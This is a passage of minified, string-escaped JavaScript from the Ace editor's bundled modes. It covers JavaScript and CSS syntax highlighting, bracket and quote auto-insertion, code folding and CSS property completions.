e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/css_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={background:{\"#$0\":1},\"background-color\":{\"#$0\":1,transparent:1,fixed:1},\"background-image\":{\"url('/$0')\":1},\"background-repeat\":{repeat:1,\"repeat-x\":1,\"repeat-y\":1,\"no-repeat\":1,inherit:1},\"background-position\":{bottom:2,center:2,left:2,right:2,top:2,inherit:2},\"background-attachment\":{scroll:1,fixed:1},\"background-size\":{cover:1,contain:1},\"background-clip\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},\"background-origin\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},border:{\"solid $0\":1,\"dashed $0\":1,\"dotted $0\":1,\"#$0\":1},\"border-color\":{\"#$0\":1},\"border-style\":{solid:2,dashed:2,dotted:2,\"double\":2,groove:2,hidden:2,inherit:2,inset:2,none:2,outset:2,ridged:2},\"border-collapse\":{collapse:1,separate:1},bottom:{px:1,em:1,\"%\":1},clear:{left:1,right:1,both:1,none:1},color:{\"#$0\":1,\"rgb(#$00,0,0)\":1},cursor:{\"default\":1,pointer:1,move:1,text:1,wait:1,help:1,progress:1,\"n-resize\":1,\"ne-resize\":1,\"e-resize\":1,\"se-resize\":1,\"s-resize\":1,\"sw-resize\":1,\"w-resize\":1,\"nw-resize\":1},display:{none:1,block:1,inline:1,\"inline-block\":1,\"table-cell\":1},\"empty-cells\":{show:1,hide:1},\"float\":{left:1,right:1,none:1},\"font-family\":{Arial:2,\"Comic Sans MS\":2,Consolas:2,\"Courier New\":2,Courier:2,Georgia:2,Monospace:2,\"Sans-Serif\":2,\"Segoe UI\":2,Tahoma:2,\"Times New Roman\":2,\"Trebuchet MS\":2,Verdana:1},\"font-size\":{px:1,em:1,\"%\":1},\"font-weight\":{bold:1,normal:1},\"font-style\":{italic:1,normal:1},\"font-variant\":{normal:1,\"small-caps\":1},height:{px:1,em:1,\"%\":1},left:{px:1,em:1,\"%\":1},\"letter-spacing\":{normal:1},\"line-height\":{normal:1},\"list-style-type\":{none:1,disc:1,circle:1,square:1,decimal:1,\"decimal-leading-zero\":1,\"lower-roman\":1,\"upper-roman\":1,\"lower-greek\":1,\"lower-latin\":1,\"upper-latin\":1,georgian:1,\"lower-alpha\":1,\"upper-alpha\":1},margin:{px:1,em:1,\"%\":1},\"margin-right\":{px:1,em:1,\"%\":1},\"margin-left\":{px:1,em:1,\"%\":1},\"margin-top\":{px:1,em:1,\"%\":1},\"margin-bottom\":{px:1,em:1,\"%\":1},\"max-height\":{px:1,em:1,\"%\":1},\"max-width\":{px:1,em:1,\"%\":1},\"min-height\":{px:1,em:1,\"%\":1},\"min-width\":{px:1,em:1,\"%\":1},overflow:{hidden:1,visible:1,auto:1,scroll:1},\"overflow-x\":{hidden:1,visible:1,auto:1,scroll:1},\"overflow-y\":{hidden:1,visible:1,auto:1,scroll:1},padding:{px:1,em:1,\"%\":1},\"padding-top\":{px:1,em:1,\"%\":1},\"padding-right\":{px:1,em:1,\"%\":1},\"padding-bottom\":{px:1,em:1,\"%\":1},\"padding-left\":{px:1,em:1,\"%\":1},\"page-break-after\":{auto:1,always:1,avoid:1,left:1,right:1},\"page-break-before\":{auto:1,always:1,avoid:1,left:1,right:1},position:{absolute:1,relative:1,fixed:1,\"static\":1},right:{px:1,em:1,\"%\":1},\"table-layout\":{fixed:1,auto:1},\"text-decoration\":{none:1,underline:1,\"line-through\":1,blink:1},\"text-align\":{left:1,right:1,center:1,justify:1},\"text-transform\":{capitalize:1,uppercase:1,lowercase:1,none:1},top:{px:1,em:1,\"%\":1},\"vertical-align\":{top:1,bottom:1},visibility:{hidden:1,visible:1},\"white-space\":{nowrap:1,normal:1,pre:1,\"pre-line\":1,\"pre-wrap\":1},width:{px:1,em:1,\"%\":1},\"word-spacing\":{normal:1},filter:{\"alpha(opacity=$0100)\":1},\"text-shadow\":{\"$02px 2px 2px #777\":1},\"text-overflow\":{\"ellipsis-word\":1,clip:1,ellipsis:1},\"-moz-border-radius\":1,\"-moz-border-radius-topright\":1,\"-moz-border-radius-bottomright\":1,\"-moz-border-radius-topleft\":1,\"-moz-border-radius-bottomleft\":1,\"-webkit-border-radius\":1,\"-webkit-border-top-right-radius\":1,\"-webkit-border-top-left-radius\":1,\"-webkit-border-bottom-right-radius\":1,\"-webkit-border-bottom-left-radius\":1,\"-moz-box-shadow\":1,\"-webkit-box-shadow\":1,transform:{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-moz-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-webkit-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1}},i=function(){};(function(){this.completionsDefined=!1,this.defineCompletions=function(){if(document){var e=document.createElement(\"c\").style;for(var t in e){if(typeof e[t]!=\"string\")continue;var n=t.replace(/[A-Z]/g,function(e){return\"-\"+e.toLowerCase()});r.hasOwnProperty(n)||(r[n]=1)}}this.completionsDefined=!0},this.getCompletions=function(e,t,n,r){this.completionsDefined||this.defineCompletions();var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(e===\"ruleset\"){var s=t.getLine(n.row).substr(0,n.column);return/:[^;]+$/.test(s)?(/([\\w\\-]+):[^:]*$/.test(s),this.getPropertyValueCompletions(e,t,n,r)):this.getPropertyCompletions(e,t,n,r)}return[]},this.getPropertyCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\": $0\",meta:\"property\",score:Number.MAX_VALUE}})},this.getPropertyValueCompletions=function(e,t,n,i){var s=t.getLine(n.row).substr(0,n.column),o=(/([\\w\\-]+):[^:]*$/.exec(s)||{})[1];if(!o)return[];var u=[];return o in r&&typeof r[o]==\"object\"&&(u=Object.keys(r[o])),u.map(function(e){return{caption:e,snippet:e,meta:\"property value\",score:Number.MAX_VALUE}})}}).call(i.prototype),t.CssCompletions=i}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var 